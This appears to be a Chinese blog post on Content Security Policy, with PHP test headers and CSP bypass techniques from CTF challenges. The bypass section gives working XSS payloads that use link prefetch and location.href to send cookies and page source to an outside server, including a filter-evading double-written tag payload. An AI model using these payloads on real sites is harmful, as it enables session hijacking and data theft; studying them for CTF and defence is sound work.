1. 程式人生 > >CSP學習和繞過

CSP學習和繞過

render 想要 基本 policy ron 空閑 source 運行環境 都是

CSP學習和繞過

一、CSP學習

內容安全策略(CSP)是一種用於部分解決XSS問題的瀏覽器安全機制,通過 CSP 所約束的的規責指定可信的內容來源(這裏的內容可以指腳本、圖片、iframe、fton、style等等可能的遠程的資源)。通過CSP協定,讓WEB處於一個安全的運行環境中,目前 CSP 已經到了 3.0 階段。現代瀏覽器目前都可以通過獲取 Header 頭來進行 CSP 配置:

  1. <?php
  2. header("Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘ ");
  3. ?>

類似這樣,這條語句允許加載內聯腳本,但是不允許加載外部資源。CSP有許多指令,這是指令參考:
技術分享
這是指令值的參考:
技術分享

這裏先說說我自己遇到過與XSS相關的script-src:,該指令用於JavaScript的加載策略。通過測試進行說明:
1、Content-Security-Policy: default-src ‘self‘; script-src ‘self‘
這種情況只允許加載同源資源,內聯腳本(inline script)都不允許執行,這是測試代碼:

  1. <?php
  2. header("Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ "
    );
  3. ?>
  4. <!DOCTYPE html>
  5. <html lang="en">
  6. <head>
  7. <meta charset="UTF-8">
  8. <title>xss test</title>
  9. <!-- <link rel="prefetch" href="http://23.105.193.119/xss/?a=[cookie]"> -->
  10. </head>
  11. <body>
  12. <!-- <script src="http://23.105.193.119/xss/?a=[cookie]"></script> -->
  13. <script>alert(‘a‘);</script>
  14. <!-- <script src="http://localhost/1.js"> </script> -->
  15. </body>
  16. </html>

內聯腳本調用alert彈窗無反應,控制臺報錯:
技術分享
將這段內聯腳本註釋,調用同源的腳本:

  1. <script src="http://localhost/1.js"> </script>

可以彈窗,說明加載成功。

2、Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
這段指令允許加載內聯腳本,允許加載內聯資源,不允許加載外域資源。
經過測試,內聯腳本彈窗可以執行。
當想要訪問外域資源的時候:

  1. <script src="http://23.105.193.119/xss/?a=[cookie]"></script>

報錯:
技術分享

3、"Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘ 23.105.193.119"
這是我將自己vps的IP加了進去,現在就單獨跨域訪問我的vps資源了。經過測試,成功訪問。

二、CSP 繞過

這裏設想一種存儲型XSS漏洞的場景,攻擊者提交帶有攻擊代碼到管理員,管理員頁面存在存儲型XSS漏洞。假設管理員頁面配置了script-src的一些策略,加下來討論一下這些策略的繞過方法。其實策略的關鍵所在是unsafe-inline。所以這裏討論以下兩種策略:

  1. 1default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
  2. 2default-src ‘self‘; script-src ‘self‘

1、default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
對於這一種情況,可以執行內聯腳本,但是不允許跨域訪問。所以腳本執行的問題解決了,需要考慮就是怎麽將用腳本獲取的重要信息(類似cookie等)發出去?

這裏先說一下預加載機制(Link prefetch),的是讓瀏覽器在空閑時間下載或預讀取一些文檔資源,用戶在將來將會訪問這些資源,提高瀏覽器速度。
這裏又可以分為::DNS-prefetch(DNS預解析)、subresource(對特定文件類型進行預加載) 和標準的 prefetch、preconnect、prerender 。這裏只說一下自己做題遇到過的標準的prefetch。其他的以後遇到再補充。
其使用方式類似這樣:

  1. <link rel="prefetch" href="http://23.105.193.119/xss/?a=[cookie]">

這種機制的策略並沒有考慮預加載的情況,通過查閱一些資料,我了解到:

數據泄漏問題從來都不是CSP項目的主要考慮因素,設計這個功能的目的主要是為了防止跨站腳本攻擊(XSS)。

OK,說道這裏就通過說說怎麽傳數據了。思路就是通過執行內聯的Javascript創建一個link節點,設置rel = prefetch ,href = 攻擊者服務器。
由於在 Chrome 中,CSP 的規範執行是較低於 Firefox 的,所以這些測試都是基於Chrome的,而且較為新版的Chrome。這是payload:

  1. <script>
  2. var head = document.getElementsByTagName("head")[0]
  3. var n0t = document.createElement("link");
  4. n0t.setAttribute("rel", "prefetch");
  5. n0t.setAttribute("href", "http://yourServer/?a=" + document.cookie);
  6. head.appendChild(n0t);
  7. </script>

在CTF中,這種XSS題比較多。比如2016年的HCTF(guestbook),最後的payload是這樣的:

  1. <scrscriptipt>
  2. var head = document.getElementsByTagName("head")[0]
  3. var n0t = document.createElement("lilinknk");
  4. n0t.setAttribute("rel", "prefetch");
  5. n0t.setAttribute("href", "http://yourServer/?" + window.btoa(String(document.getElementsByTagName("html")[0].innerHTML)).substring(800,1300));
  6. head.appendChild(n0t);
  7. </scrscriptipt>

雙寫是為了繞過關鍵詞刪除過濾,最後flag在admin頁面的源碼中。
2、default-src ‘self‘; script-src ‘self‘
這種情況聯內聯腳本都不能執行,也不能加載類似style的一些內聯資源,只能加載同域資源,這樣設置的很少,非常影響網站的正常功能。這種情況連內聯腳本都無法執行,基本無解(有大佬有解的話,請指點我)。但是在某些特定條件下是可以的,比如我遇到這題:
題目就是我說的那種存儲型XSS情況,但是設置的CSP是這樣的:
技術分享
就是我說的這種情況。這裏的處理很巧妙,首先提交這個payload:

  1. //<link rel="prefetch" href="http://23.105.193.119/xss/">;
  2. location.href=‘http://23.105.193.119/xss/?a=‘+escape(document.cookie);

沒有<script>標簽,只會被當成HTML處理,結果就是預加載訪問XSS平臺。這裏有在refer中有admin的頁面。然後再次提交:

  1. <script src=‘http://39.108.192.25:5004/4dmIn.php?id=54397b5ef0421197b053e7bce57eb50a‘></script>

這樣加載了同域的資源,執行location.href=‘http://23.105.193.119/xss/?a=‘+escape(document.cookie), 將cookie發了出去
這題類似二次註入。

CSP學習和繞過